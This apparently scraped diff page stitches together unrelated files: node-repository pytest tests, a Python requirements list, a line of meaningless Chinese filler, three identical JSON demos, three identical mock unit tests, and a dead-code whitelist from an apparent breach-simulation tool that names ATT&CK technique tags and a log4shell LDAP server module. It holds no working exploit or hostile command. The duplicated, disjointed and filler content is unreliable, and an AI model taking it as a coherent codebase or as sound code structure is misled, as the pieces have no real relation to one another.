||||
|
||||
def test_upsert_tcp_connections__node_missing(node_repository):
|
||||
node_repository.upsert_tcp_connections(999, TCP_CONNECTION_PORT_80)
|
||||
nodes = node_repository.get_nodes()
|
||||
modified_node = [node for node in nodes if node.machine_id == 999][0]
|
||||
assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80)
|
||||
|
||||
|
||||
def test_get_node_by_machine_id(node_repository):
|
||||
assert node_repository.get_node_by_machine_id(1) == NODES[0]
|
||||
|
||||
|
||||
def test_get_node_by_machine_id__no_node(node_repository):
|
||||
with pytest.raises(UnknownRecordError):
|
||||
node_repository.get_node_by_machine_id(999)
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
allure_python_commons==2.8.17
|
||||
jsonpath==0.82
|
||||
loguru==0.5.1
|
||||
pandas==1.1.5
|
||||
PyMouse==1.0
|
||||
pytest==6.2.5
|
||||
pywin32==301
|
||||
selenium==3.141.0
|
|
@ -0,0 +1 @@
|
|||
双方都是的方法烦烦烦烦烦烦
|
|
@ -0,0 +1,13 @@
|
|||
import json
|
||||
data = {
|
||||
'name' : 'myname',
|
||||
'age' : 100,
|
||||
}
|
||||
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||
# dumps 将python对象字典转换为json字符串
|
||||
json_str = json.dumps(data, separators=(',', ':'))
|
||||
print(type(json_str), json_str)
|
||||
|
||||
# loads 将json字符串转化为python对象字典
|
||||
pyton_obj = json.loads(json_str)
|
||||
print(type(pyton_obj), pyton_obj)
|
|
@ -0,0 +1,13 @@
|
|||
import json
|
||||
data = {
|
||||
'name' : 'myname',
|
||||
'age' : 100,
|
||||
}
|
||||
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||
# dumps 将python对象字典转换为json字符串
|
||||
json_str = json.dumps(data, separators=(',', ':'))
|
||||
print(type(json_str), json_str)
|
||||
|
||||
# loads 将json字符串转化为python对象字典
|
||||
pyton_obj = json.loads(json_str)
|
||||
print(type(pyton_obj), pyton_obj)
|
|
@ -0,0 +1,13 @@
|
|||
import json
|
||||
data = {
|
||||
'name' : 'myname',
|
||||
'age' : 100,
|
||||
}
|
||||
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||
# dumps 将python对象字典转换为json字符串
|
||||
json_str = json.dumps(data, separators=(',', ':'))
|
||||
print(type(json_str), json_str)
|
||||
|
||||
# loads 将json字符串转化为python对象字典
|
||||
pyton_obj = json.loads(json_str)
|
||||
print(type(pyton_obj), pyton_obj)
|
|
@ -0,0 +1 @@
|
|||
print('1111')
|
|
@ -9,10 +9,19 @@ from common.agent_configuration.agent_sub_configurations import (
|
|||
)
|
||||
from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent
|
||||
from common.credentials import Credentials, LMHash, NTHash
|
||||
from common.types import NetworkPort
|
||||
from common.tags import (
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
T1570_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.types import NetworkPort, NetworkService
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
|
||||
from monkey_island.cc.event_queue import IslandEventTopic, PyPubSubIslandEventQueue
|
||||
from monkey_island.cc.models import Report
|
||||
from monkey_island.cc.models import Machine, Node, Report
|
||||
from monkey_island.cc.models.networkmap import Arc, NetworkMap
|
||||
from monkey_island.cc.repository import MongoAgentRepository, MongoMachineRepository
|
||||
from monkey_island.cc.repository.attack.IMitigationsRepository import IMitigationsRepository
|
||||
|
@ -318,6 +327,15 @@ TCPScanEvent.port_status
|
|||
# TODO: Remove once #2269 is close
|
||||
PropagationEvent
|
||||
ExploitationEvent
|
||||
T1021_ATTACK_TECHNIQUE_TAG
|
||||
T1105_ATTACK_TECHNIQUE_TAG
|
||||
T1110_ATTACK_TECHNIQUE_TAG
|
||||
T1203_ATTACK_TECHNIQUE_TAG
|
||||
T1210_ATTACK_TECHNIQUE_TAG
|
||||
T1222_ATTACK_TECHNIQUE_TAG
|
||||
T1570_ATTACK_TECHNIQUE_TAG
|
||||
HostExploiter._publish_propagation_event
|
||||
HostExploiter._publish_exploitation_event
|
||||
|
||||
# pydantic base models
|
||||
underscore_attrs_are_private
|
||||
|
@ -336,3 +354,10 @@ SCANNED
|
|||
EXPLOITED
|
||||
CC
|
||||
CC_TUNNEL
|
||||
|
||||
# TODO remove when 2267 is done
|
||||
NetworkServiceNameEnum.UNKNOWN
|
||||
Machine.network_services
|
||||
Machine.config.json_dumps
|
||||
Machine._socketaddress_from_string
|
||||
Node.tcp_connections
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
import unittest
|
||||
from mock import Mock
|
||||
|
||||
|
||||
def VerifyPhone():
|
||||
'''
|
||||
校验用户手机号
|
||||
'''
|
||||
pass
|
||||
|
||||
|
||||
class TestVerifyPhone(unittest.TestCase):
|
||||
|
||||
def test_verify_phone(self):
|
||||
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
|
||||
VerifyPhone = Mock(return_value=data)
|
||||
self.assertEqual("success", VerifyPhone()["msg"]["result"])
|
||||
print('测试用例')
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main(verbosity=2)
|
|
@ -0,0 +1,21 @@
|
|||
import unittest
|
||||
from mock import Mock
|
||||
|
||||
|
||||
def VerifyPhone():
|
||||
'''
|
||||
校验用户手机号
|
||||
'''
|
||||
pass
|
||||
|
||||
|
||||
class TestVerifyPhone(unittest.TestCase):
|
||||
|
||||
def test_verify_phone(self):
|
||||
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
|
||||
VerifyPhone = Mock(return_value=data)
|
||||
self.assertEqual("success", VerifyPhone()["msg"]["result"])
|
||||
print('测试用例')
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main(verbosity=2)
|
|
@ -0,0 +1,21 @@
|
|||
import unittest
|
||||
from mock import Mock
|
||||
|
||||
|
||||
def VerifyPhone():
|
||||
'''
|
||||
校验用户手机号
|
||||
'''
|
||||
pass
|
||||
|
||||
|
||||
class TestVerifyPhone(unittest.TestCase):
|
||||
|
||||
def test_verify_phone(self):
|
||||
data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}}
|
||||
VerifyPhone = Mock(return_value=data)
|
||||
self.assertEqual("success", VerifyPhone()["msg"]["result"])
|
||||
print('测试用例')
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main(verbosity=2)
|
Loading…
Reference in New Issue